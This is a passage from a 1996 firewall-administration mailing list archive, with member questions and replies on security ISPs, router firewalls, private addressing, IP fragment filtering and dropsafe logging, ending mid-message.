Message-ID: <Chameleon.960229184501.jcg@jcg.wcdssi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Bill,
You are not nuts but you might also want to look at Internet Information 
Services Inc..  They are located in Rockville, MD.  Their Web address is 
WWW.iis.net.  I have seen their service and feel it is, by far, the best 
available in the commercial market.  

John 
'That's my professional opinion not personal, and BTW, everything I say is the 
opinion of the company.'

=========================================================
Date:2/29/96                     Time: 6:43:36 PM
John Guinasso                    E-mail: jcg@wcdssi.com
Data Systems Security Inc.
4960 Almaden Expressway, MS237, San Jose, Ca 95118
Voice: 408-323-8556,  Fax: 408-323-8557
http://www.scruznet.com/~jcg/dssi.htm
=========================================================



--- On Mon, 29 Jan 96 16:45:39 EST  Bill Van Emburg <bve@yourtown.com> wrote:

>Interestingly enough, I recently came across an ISP who may just
>convince me to use them to provide the "serious" security....
>
>Pilot Network Systems is an access provider whose entire concept is
>focused on security.  Access is simply a consequence of this focus.
>They seem to be a good choice for a company that wants
>serious/up-to-date protection, but doesn't want to go overboard on
>firewalls and expertise in-house.  I envision that, with an I-net
>connection provided by them, I should be able to rely on nothing more
>than basic IP packet filtering (in my routers), and let Pilot handle
>the proxies, and the careful monitoring/logging.
>
>Any thoughts from the community at large?  Am I nuts?  Anybody who
>uses them wish to comment?
>
>
>					-BVE
>					(er..that's Bill Van Emburg)
>					(bve@yourtown.com)
>	"You do what you want, and if you didn't, you don't"
>

-----------------End of Original Message-----------------


From firewalls-owner  Fri Mar  1 04:59:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA07030 for firewalls-outgoing; Thu, 29 Feb 1996 23:01:36 -0800 (PST)
Received: from relay2.UU.NET (relay2.UU.NET [192.48.96.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id XAA06995 for <firewalls@Greatcircle.com>; Thu, 29 Feb 1996 23:01:27 -0800 (PST)
Received: from cixgate by relay2.UU.NET with SMTP 
	id QQafct16145; Fri, 1 Mar 1996 01:58:30 -0500 (EST)
Received: from manzanita.DEV.3Com.COM.noname ([139.87.180.206]) by cixgate (4.1/SMI-4.1/3com-cixgate-GCA-931027-01)
	id AA16514; Thu, 29 Feb 96 08:25:28 PST
Received: by manzanita.DEV.3Com.COM.noname (4.1/SMI-4.1)
	id AA10388; Thu, 29 Feb 96 08:09:02 PST
Date: Thu, 29 Feb 96 08:09:02 PST
From: bobk@manzanita.DEV.3Com.COM (Bob Konigsberg)
Message-Id: <9602291609.AA10388@manzanita.DEV.3Com.COM.noname>
To: firewalls@Greatcircle.com, rafa@uap.edu.ph
Subject: Re: 3Com Routers
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Please see my article on building a firewall with 3Com routers in the
April 1995 issue of 3Tech magazine.

The article is also available online at:

http://www.3com.com/0files/mktg/pubs/3tech/firewall.html

Have fun,

BobK

From firewalls-owner  Fri Mar  1 05:13:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA19515 for firewalls-outgoing; Fri, 1 Mar 1996 01:48:19 -0800 (PST)
Received: from halon.vggas.com (halon.vggas.com [194.216.201.253]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id BAA19504 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 01:48:09 -0800 (PST)
Received: from smtpgate.vggas.com (smtpgate.vggas.com [192.168.0.15]) by halon.vggas.com (8.7.1/8.7.1) with SMTP id JAA32088 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 09:43:45 GMT
Received: by smtpgate.vggas.com with Microsoft Mail
	id <313737E8@smtpgate.vggas.com>; Fri, 01 Mar 96 09:46:16 PST
From: James Youngman VGGAS <JYoungman@vggas.com>
To: "'firewalls@GreatCircle.COM'" <firewalls@GreatCircle.COM>
Subject: Proxy for netbios-session
Date: Fri, 01 Mar 96 09:45:00 PST
Message-ID: <313737E8@smtpgate.vggas.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


 Is there anywhere I can find a proxy for netbios-over-TCP/IP?  We have a   
requirement for offsite users to retrieve mail remotely, and in the MIS   
department's rush to embrace Microsoft, they took on Microsoft Mail, and   
so I can't even use APOP.

James.

From firewalls-owner  Fri Mar  1 05:36:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA18198 for firewalls-outgoing; Fri, 1 Mar 1996 01:35:35 -0800 (PST)
Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id BAA18173 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 01:35:18 -0800 (PST)
Message-Id: <199603010935.BAA18173@miles.greatcircle.com>
Received: by cheops.anu.edu.au
	(1.37.109.16/16.2) id AA279152903; Fri, 1 Mar 1996 20:35:03 +1100
From: Darren Reed <avalon@coombs.anu.edu.au>
Subject: Re: Pentagon displays due respect for hackers
To: sgcccdc@citec.qld.gov.au (Colin Campbell)
Date: Fri, 1 Mar 1996 20:35:03 +1100 (EDT)
Cc: darrell@teleport.com, firewalls@GreatCircle.COM
In-Reply-To: <199602282357.JAA03770@guru.citec.qld.gov.au> from "Colin Campbell" at Feb 29, 96 09:57:23 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In some mail from Colin Campbell, sie said:
> 
> My mailer thinks Darrell Fuhriman said:
> > 
> > > > ... ip fragmentation attacks,
> > > 
> > > Wozzat?
> > 
> > Fragment the IP packet so the address are in different packets, as well as
> > the port number.  The router can't buffer them, and can't filter
> > them until it knows all the information.  So, it lets them through.  And
> > since most firewalls only block on the SYN... tada.. open connection.
> 
> So, if I run input filters only, I am susceptible to this attack. Correct?

Possibly.  Most vendors/implementations patched this - eventually.
Make sure you understand how it is handled.

> I take it, then, that output filters kill this attack to other hosts but the
> router still susceptible since the packet never makes it to the output
> filters?

No, if your output filter drops the packet, it becomes an IP spoofing attack
problem (guess the TCP ISS value in the reply you don't see).

darren

From firewalls-owner  Fri Mar  1 05:56:52 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA21189 for firewalls-outgoing; Fri, 1 Mar 1996 02:03:37 -0800 (PST)
Received: from relay1.pipex.net (relay1.pipex.net [158.43.128.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id CAA21161 for <firewalls@GreatCircle.com>; Fri, 1 Mar 1996 02:03:28 -0800 (PST)
Received: from london.ecaltd.com by flow.pipex.net with SMTP (PP);
          Fri, 1 Mar 1996 10:00:13 +0000
Received: by london.ecaltd.com with Microsoft Mail
	id <3136CAA8@london.ecaltd.com>; Fri, 01 Mar 96 10:00:08 GMT
From: "Anthony.W.Youngman" <Wally@ecaltd.com>
To: "'_firewalls'" <firewalls@GreatCircle.com>
Subject: FW: rx but no tx wiring for ethernet
Date: Fri, 01 Mar 96 09:57:00 GMT
Message-ID: <3136CAA8@london.ecaltd.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Soembody will probably correct me, but I think the twisted pair standard   
says that for 10Mb ethernet, the blue and brown pairs are not used. Of   
the orange and green pairs, one is tx, one is rx (thats wires 1&2, 3&6).   
I'm not sure which is which, but breaking one of those should make it   
receive-only.

 ----------
From:  firewalls-owner[SMTP:firewalls-owner@GreatCircle.COM]
Sent:  29 February 1996 07:26
To:  firewalls
Subject:  rx but no tx wiring for ethernet

I dont know if it can be done with ethernet because of it being a   
contention kinda thing but is it posible to make a twisted-pair cable to   
only receive?

I played around with the wiring but could not get it to work.  Maybe it   
depends on what brand of card?

Any help in this area is much apreciated.

 --blast




From firewalls-owner  Fri Mar  1 05:57:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA29304 for firewalls-outgoing; Fri, 1 Mar 1996 03:53:31 -0800 (PST)
Received: from bramber.windsor.com (bramber.windsor.com [199.181.96.54]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id DAA29124 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 03:52:29 -0800 (PST)
Received: (from erics@localhost) by bramber.windsor.com (8.6.12/8.6.12) id GAA10744; Fri, 1 Mar 1996 06:50:03 -0500
From: "Eric V. Smith" <EricSmith@windsor.com>
Message-Id: <199603011150.GAA10744@bramber.windsor.com>
Subject: Re: IP fragments and packet filters
To: cbk@starbase.ingress.com (Charles B. Kaplan)
Date: Fri, 1 Mar 1996 06:50:02 -0500 (EST)
Cc: Firewalls@GreatCircle.COM
In-Reply-To: <199603010328.WAA05228@starbase.ingress.com> from "Charles B. Kaplan" at Feb 29, 96 10:28:17 pm
Reply-To: EricSmith@windsor.com
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Charles B. Kaplan wrote:
> 
> >The only time you're ever likely to see a packet with FO=1 is if a bad guy is
> >knocking at your door.
> 
> Would there ever be exceptions to this that would stem from the passing of
> data long distance, and thus forcing the data into a bigger pipe (say an ATM
> link cross country), and then back out of the pipe, possible becoming
> fragmented.

See rfc1858, "Security Considerations for IP Fragment Filtering".

-- 
Eric V. Smith           | Some for renown on scraps of learning dote,
EricSmith@windsor.com   |  And think they grow immortal as they quote.
Windsor Software Corp   +----------------------------------+ Edward Young
http://www.windsor.com/   Windows NT, Unix, SQL Server     |  English poet

From firewalls-owner  Fri Mar  1 05:58:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA02591 for firewalls-outgoing; Fri, 1 Mar 1996 04:38:07 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA02562 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 04:37:51 -0800 (PST)
Received: from pferguso-pc.cisco.com (c1robo5.cisco.com [171.68.13.5]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id EAA18924; Fri, 1 Mar 1996 04:35:11 -0800
Message-Id: <199603011235.EAA18924@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 01 Mar 1996 07:35:58 -0500
To: cbk@starbase.ingress.com (Charles B. Kaplan)
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: IP fragments and packet filters
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

The fragmentation and, more importantly, reassembly should happen in this
case transparently long before it reaches your router/firewall/whatever.

- paul

At 10:28 PM 2/29/96 -0500, Charles B. Kaplan wrote:

>>The only time you're ever likely to see a packet with FO=1 is if a bad guy is
>>knocking at your door.
>
>Would there ever be exceptions to this that would stem from the passing of
>data long distance, and thus forcing the data into a bigger pipe (say an ATM
>link cross country), and then back out of the pipe, possible becoming
>fragmented.
>
>IE, my east coast LAN wants to connect to my west coast LAN, which will
>involve traversing (substitute your favorate backbone providers) ATM link.
>Therefor my 68byte header + data get dumped into larger (I forget frame size
>at the moment) ATM cell, which could POSSIBLY ?? cause one byte to cross a
>cell boundry, and thuse appear fragmented to the remote site ?
>
>I guess this couldn't happen since everything is still a multiple of 8, so
>it should always fit on a boundry ??
>
>Comments from someone who understands this better than I.....
>
>-Charles Kaplan
>

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Fri Mar  1 06:24:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA25550 for firewalls-outgoing; Fri, 1 Mar 1996 02:56:51 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id CAA25545 for <firewalls@miles>; Fri, 1 Mar 1996 02:56:44 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id CAA23196; Fri, 1 Mar 1996 02:51:42 -0800
Received: from mail.comnet.mt(193.82.255.25) by mycroft via smap (V1.3mjr)
	id sma023191; Fri Mar  1 02:50:05 1996
Received: by michelle.magnet.mt id <21880>; Fri, 1 Mar 1996 11:56:02 +0100
Date: Fri, 1 Mar 1996 12:01:13 +0100
From: Alex Chircop <alex.j.chircop@magnet.mt>
Organization: Management Systems Unit Ltd.
X-Mailer: Mozilla 2.0GoldB1 (Win95; I)
MIME-Version: 1.0
To: firewalls@GreatCircle.COM
Subject: RE: Support of already used IP addresses
X-URL: http://granite/logon
Content-Type: text/plain; charset=iso-8859-1
Message-Id: <96Mar1.115602gmt+0100.21880@michelle.magnet.mt>
Content-Transfer-Encoding: quoted-printable
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


You can try something like this:

------ R O U T E R ------- F I R E W A L L ------ | ---- I N T E R N E =
T ------------
Your intranet      Priv addr network              |
                   such as 172.16.0.0             |
                   or 10.0.0.0               Proxy Server with register=
ed address


and configure all your clients to use the proxy server.  That way the c=
lients will
be able to access all addresses, but are limited to the facilities avai=
lable on
the proxy server.  If you use the CERN HTTPD you will have access to go=
pher, ftp
and http together with https if you install the SSL patch.

Hope this helps ... could others please comment on this design ?

Regards,
Alex Chircop - Admin
alex.j.chircop@magnet.mt / postmaster@magnet.mt

Management Systems Unit Ltd.
Malta - Europe

**************************************************
***  Check out http://www.magnet.mt/  ************
**************************************************



>From: Marc Rapoport <rapoport@iway.fr>
>Date: Thu, 29 Feb 1996 16:29:49 +0100
>Subject: Support of already used IP adresses

>Hi, our private Intranet adressing plan is using several class B that =
are
>already
>allocated on the Internet, as our Intranet was created long before we
>planned to interconnect
>with the Internet.
>We use a single firewall which masks our private adresses, but we are =
not
>able to reach
> the public portion of the Internet that uses the same IP adresses.
>The only solution i know to handle that problem is to use 2 firewalls
>serialized=20
>with a pseudo network between the Intranet and the Internet.
>Does anybody knows a product able to solve this problem with only one =
firewall ?
>Thanks in advance.

>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
>=F6=F6      Marc Rapoport :      rapoport@iway.fr                     =
     =F6=F6
>=F6=F6      AGF.SI Tour Franklin - La Defense 8                       =
     =F6=F6
>=F6=F6      92042 PARIS LA DEFENSE CEDEX                              =
     =F6=F6
>=F6=F6      Tel : 49.03.31.77 Fax : 47.67.07.90                       =
     =F6=F6
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D

From firewalls-owner  Fri Mar  1 06:36:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA04439 for firewalls-outgoing; Fri, 1 Mar 1996 05:04:26 -0800 (PST)
Received: from dax.sai.com (dax.sai.com [198.137.245.66]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA04430 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 05:04:16 -0800 (PST)
Received: from dax.sai.com by dax.sai.com with smtp
	(Smail3.1.29.1 #3) id m0tsUV0-003pLtC; Fri, 1 Mar 96 08:03 EST
Date: Fri, 1 Mar 1996 08:03:54 -0500 (EST)
From: Darryl Wagoner <darryl@sai.com>
To: Marc Rapoport <rapoport@iway.fr>
cc: Firewalls@GreatCircle.COM
Subject: Re: Support of already used IP adresses
In-Reply-To: <9602291529.AA26947@agf.fr>
Message-ID: <Pine.SUN.3.91.960301080236.21520F-100000@dax.sai.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Thu, 29 Feb 1996, Marc Rapoport wrote:

The correct way to solve this is to use the private class A network
address that was reserve for this purpose.  I think it is 10.0.0.0.
but don't quote me on it.

--
Darryl Wagoner		darryl@sai.com   http://www.sai.com/
Office: 603.672.0736   		Fax: 603-672-4846
Web Pages for hire.   Check out NH & MA Movies http://www.sai.com/movies


From firewalls-owner  Fri Mar  1 06:43:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA03838 for firewalls-outgoing; Fri, 1 Mar 1996 04:58:25 -0800 (PST)
Received: from delphi.ndhm.gtegsc.com (delphi.ndhm.gtegsc.com [155.95.155.160]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA03811 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 04:58:00 -0800 (PST)
Received: from mail.ndhm.gtegsc.com by delphi.ndhm.gtegsc.com with SMTP;
          Fri, 1 Mar 1996 12:56:18 -0500 (EST)
Message-ID: <n1386455484.99300@mail.ndhm.gtegsc.com>
Date: 1 Mar 1996 07:52:18 U
From: "FreedmanJ" <FreedmanJ@mail.ndhm.gtegsc.com>
Subject: RE: Pentagon displays due respect for hackers
To: "Dale M. Johnson" <dmj@linus.mitre.org>,
        "firewalls" <firewalls@greatcircle.com>
X-Mailer: Mail*Link SMTP-MS 3.0.2
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Unknown Microsoft mail form. Approximate representation follows.

To: Dale M. Johnson; firewalls
From: FreedmanJ on Fri, Mar 1, 1996 7:52 AM
Subject: RE: Pentagon displays due respect for hackers
RFC Header:Received: by mail.ndhm.gtegsc.com with SMTP;1 Mar 1996 05:06:29 U
Received: from relay3.UU.NET by delphi.ndhm.gtegsc.com with SMTP;
          Fri, 1 Mar 1996 10:05:55 -0500 (EST)
Received: from miles.greatcircle.com by relay3.UU.NET with ESMTP 
	id QQafdg14820; Fri, 1 Mar 1996 05:00:20 -0500 (EST)
Received: (majordom@localhost) by miles.greatcircle.com
(8.7.1-lists/Lists-951222-1) id PAA03015 for firewalls-outgoing; Wed, 28 Feb
1996 15:59:36 -0800 (PST)
Received: from citecuh.citec.qld.gov.au (citecuh.citec.qld.gov.au
[203.5.10.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id
PAA03010 for <firewalls@GreatCircle.COM>; Wed, 28 Feb 1996 15:59:31 -0800
(PST)
Received: (from mail@localhost) by citecuh.citec.qld.gov.au (8.6.10/8.6.10) id
JAA10584; Thu, 29 Feb 1996 09:51:26 +1000
Received: from guru.citec.qld.gov.au(147.132.20.47) by
citecuh.citec.qld.gov.au via smap (V1.3)
	id /mail/incoming/sma010577; Thu Feb 29 09:51:25 1996
Received: (from sgcccdc@localhost) by guru.citec.qld.gov.au (8.6.12/8.6.12) id
JAA03770; Thu, 29 Feb 1996 09:57:25 +1000
From: Colin Campbell <sgcccdc@citec.qld.gov.au>
Message-Id: <199602282357.JAA03770@guru.citec.qld.gov.au>
Subject: Re: Pentagon displays due respect for hackers
To: darrell@teleport.com (Darrell Fuhriman)
Date: Thu, 29 Feb 1996 09:57:23 +1000 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <Pine.SUN.3.91.960228105742.17812A-100000@claudia.teleport.com>
from "Darrell Fuhriman" at Feb 28, 96 10:59:41 am
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> Fragment the IP packet so the address are in different packets, as well as
> the port number.  The router can't buffer them, and can't filter
> them until it knows all the information.  So, it lets them through.  And
> since most firewalls only block on the SYN... tada.. open connection.

 I am not sure I understand this attack. Are you talking about the addresses
in the IP header - if so then how can you fragment that?

                        Jerry Freedman,Jr

From firewalls-owner  Fri Mar  1 07:14:04 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA07607 for firewalls-outgoing; Fri, 1 Mar 1996 05:42:00 -0800 (PST)
Received: from zcias1.ziff.com (zcias1.ziff.com [140.244.1.69]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id FAA07593 for <firewalls@GreatCircle.com>; Fri, 1 Mar 1996 05:41:54 -0800 (PST)
Received: from iongate.staff.ichange.com (198-112-128-9.ichange.com)
 by zcias1.ziff.com (PMDF V5.0-5 #10330)
 id <01I1TGORG68W00A7O6@zcias1.ziff.com> for firewalls@GreatCircle.com; Fri,
 01 Mar 1996 08:37:29 -0500 (EST)
Received: by iongate.staff.ichange.com (IBM OS/2 SENDMAIL VERSION 1.3.2)
 /1.0) id AA4166; Fri, 01 Mar 1996 08:35:28 -0800
Received: from IChange with "Lotus Notes Mail Gateway for SMTP" id
 02631AAE9E04502A852562E0004A63D5; Fri, 01 Mar 1996 08:35:28 +0000
Date: Fri, 01 Mar 1996 08:35:35 -0400 (EDT)
From: Bill Conaway <Bill_Conaway@iongate.staff.ichange.com>
Subject: Gated and Firewall-1 2.0
To: firewalls <firewalls@GreatCircle.com>
Message-id: <9603011635.AA4166@iongate.staff.ichange.com>
MIME-version: 1.0
Content-type: Text/Plain
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Has anyone tried using Merit's Gated with two firewalls in lieu of a high 
availability product like OpenVision or Qualix?


From firewalls-owner  Fri Mar  1 07:14:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA09497 for firewalls-outgoing; Fri, 1 Mar 1996 06:10:58 -0800 (PST)
Received: from balder.ssds.com (balder.ssds.com [204.131.72.62]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA09482 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 06:10:50 -0800 (PST)
Received: (from mail@localhost) by balder.ssds.com (8.6.9/8.6.9.SSDSnet-hub) id HAA08474; Fri, 1 Mar 1996 07:09:14 -0700
Received: from baltimore.ssds.com(134.127.34.1) by balder.ssds.com via smap (V1.3)
	id sma008470; Fri Mar  1 07:09:11 1996
Received: by baltimore.ssds.com id JAA22740; Fri, 1 Mar 1996 09:09:09 -0500 (EST)
Date: Fri, 1 Mar 1996 09:09:09 -0500 (EST)
From: Mike Malik -- Dover DE <mam@ssds.com>
X-Sender: mam@baltimore
To: Mark Goring <MARK@nzqa.govt.nz>
cc: firewalls@GreatCircle.COM
Subject: Re: Net security
In-Reply-To: <70093731019BCCD1@nzqa.govt.nz>
Message-ID: <Pine.SUN.3.91.960301090745.22680C-100000@baltimore>
MIME-Version: 1.0
Content-Type: TEXT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 1 Mar 1996, Mark Goring wrote:

> Out of interest, as this seems to be the place to ask...
> Any opinions as to what level of security the system behind the firewall 
> should be?
> I recently attended a seminar where it was recommended the system behind 
> the firewall should be B2 level secure.
> Anyone?
What are you trying to protect ? How much does it cost you if you lose it ?
Try to spend less than that. <GRIN>
Mike

  ( (   | (                Mike Malik (mam@ssds.com)         
   ) ) (|  ), inc.         9841 Broken Land Parkway,Suite 100 
  business driven          Columbia, MD 21046 
technology solutions       410-381-4313 FAX: 410-381-2170


From firewalls-owner  Fri Mar  1 08:05:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA13697 for firewalls-outgoing; Fri, 1 Mar 1996 07:16:42 -0800 (PST)
Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA13680 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 07:16:32 -0800 (PST)
Received: (adam@localhost) by homeport.org (8.6.9/8.6.9) id KAA12331; Fri, 1 Mar 1996 10:18:55 -0500
From: Adam Shostack <adam@homeport.org>
Message-Id: <199603011518.KAA12331@homeport.org>
Subject: Re: catastrophe logs
To: jmr@winternet.com (John Rauser)
Date: Fri, 1 Mar 1996 10:18:55 -0500 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <199602290013.SAA09235@klondike> from "John Rauser" at Feb 28, 96 06:13:26 pm
X-Mailer: ELM [version 2.4 PL24 ME8b]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

John Rauser wrote:

| Now I can configure any one of a dozen terminal programs to log
| everything that comes over the serial port, but how do I accomplish
| the pruning/rotating of the log files?  If there a some PC software
| out there that does this?  kermit, the best terminal software I know
| of, doesn't seem to be capable of this trick.  Have you folks written
| a home-brew solution?

Perl runs on dos.  I'm not sure how to get dos to emulate cron, so
I'd probably toss linux or *bsd on the machine, and forget dos.  Use
what you know.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume


From firewalls-owner  Fri Mar  1 08:05:51 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA14284 for firewalls-outgoing; Fri, 1 Mar 1996 07:22:48 -0800 (PST)
Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA14271 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 07:22:42 -0800 (PST)
Received: (adam@localhost) by homeport.org (8.6.9/8.6.9) id KAA12363; Fri, 1 Mar 1996 10:25:40 -0500
From: Adam Shostack <adam@homeport.org>
Message-Id: <199603011525.KAA12363@homeport.org>
Subject: Re: Net security
To: MARK@nzqa.govt.nz (Mark Goring)
Date: Fri, 1 Mar 1996 10:25:40 -0500 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <70093731019BCCD1@nzqa.govt.nz> from "Mark Goring" at Mar 1, 96 09:32:13 am
X-Mailer: ELM [version 2.4 PL24 ME8b]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Mark Goring wrote:

| Out of interest, as this seems to be the place to ask...
| Any opinions as to what level of security the system behind the firewall 
| should be?
| I recently attended a seminar where it was recommended the system behind 
| the firewall should be B2 level secure.

	It depends on what you have on the network.  :)

	Less flipantly, you need to weigh costs vs risk.  The reason
firewalls are useful is because it makes it possible to concetrate your
risks.  This is handy because its impossible to secure every machine
in a class B net.

	If you have a set of 12 machines which control the issuance of
money, you should make each of them quite secure.  If you have a lab
full of student acccess terminals, you should assume the lab contains
hostile folks and either tie it down very tightly, or label it
hostile.  Or both.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume


From firewalls-owner  Fri Mar  1 08:13:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA15929 for firewalls-outgoing; Fri, 1 Mar 1996 07:49:33 -0800 (PST)
Received: from crl.crl.com (crl.com [165.113.1.12]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA15923 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 07:49:28 -0800 (PST)
Received: by crl.crl.com id AA19289
  (5.65c/IDA-1.5); Fri, 1 Mar 1996 07:25:30 -0800
Date: Fri, 1 Mar 1996 07:25:28 -0800 (PST)
From: Tim Keanini <blast@crl.com>
To: Doug Hughes <Doug.Hughes@eng.auburn.edu>
Cc: jmr@winternet.com, firewalls@greatcircle.com
Subject: Re: catastrophe logs
In-Reply-To: <doug-9601292216.AA002026614@netman.eng.auburn.edu>
Message-Id: <Pine.SUN.3.91.960301071612.18338F-100000@crl.crl.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Thu, 29 Feb 1996, Doug Hughes wrote:

> 
> >
> >How do you folks store a safe copy of syslog info?
> >_Building_Internet_Firewalls_ recommends building a "dropsafe" logging
> >device out of a PC connected to a serial port on the bastion host:
> >     
> >    Configure the PC in such a way that it boots up into a terminal
> >    program in "record" mode, and that every so often (every
> >    100,000 bytes, for example), the log files are rotated and pruned
> >    so the system never runs out of disk space.
> 
> Well, we don't go to quite that level of effort to secure logs, though
> some do. We have a restricted access unix machine that can only be logged
> into from certain machines in a certain way, by a small group of about 8
> users. I compress the logs and store them on floppy or tape every couple
> of months.
> Doug Hughes					Engineering Network Services
> System/Net Admin  				Auburn University

The problem with the serial type of logging is that it just does not scale.
If you are having to deal with 10 hosts or more in a DMZ network,
and I am not saying that everyone does but if you are, you know what 
kind of logs and udp traffic is going on.  
There are two issues:
1) The first is purly a network traffic issue.  At some point, these really 
chatty machines that are telling the loghost everything, fill up the wire
with syslog packets.  If you try and solve this with a serial connection,
you lose on two counts.  One is that the dropsafe side, even with a 16550 
UART will not be able to take in all the logs from all hosts.  Two is
that your packetfiltering routers cant be hacked to send the syslog
stuff to a serial stream (at least I have not been able to do it without
affecting the performace of the router).
2) the idea of the safe in dropsafe is that this unit that is recieving
the logs is only reachable by these hosts sending logs to it.
I have a firewall system that I manage by which I have used a Kalpana PRO16
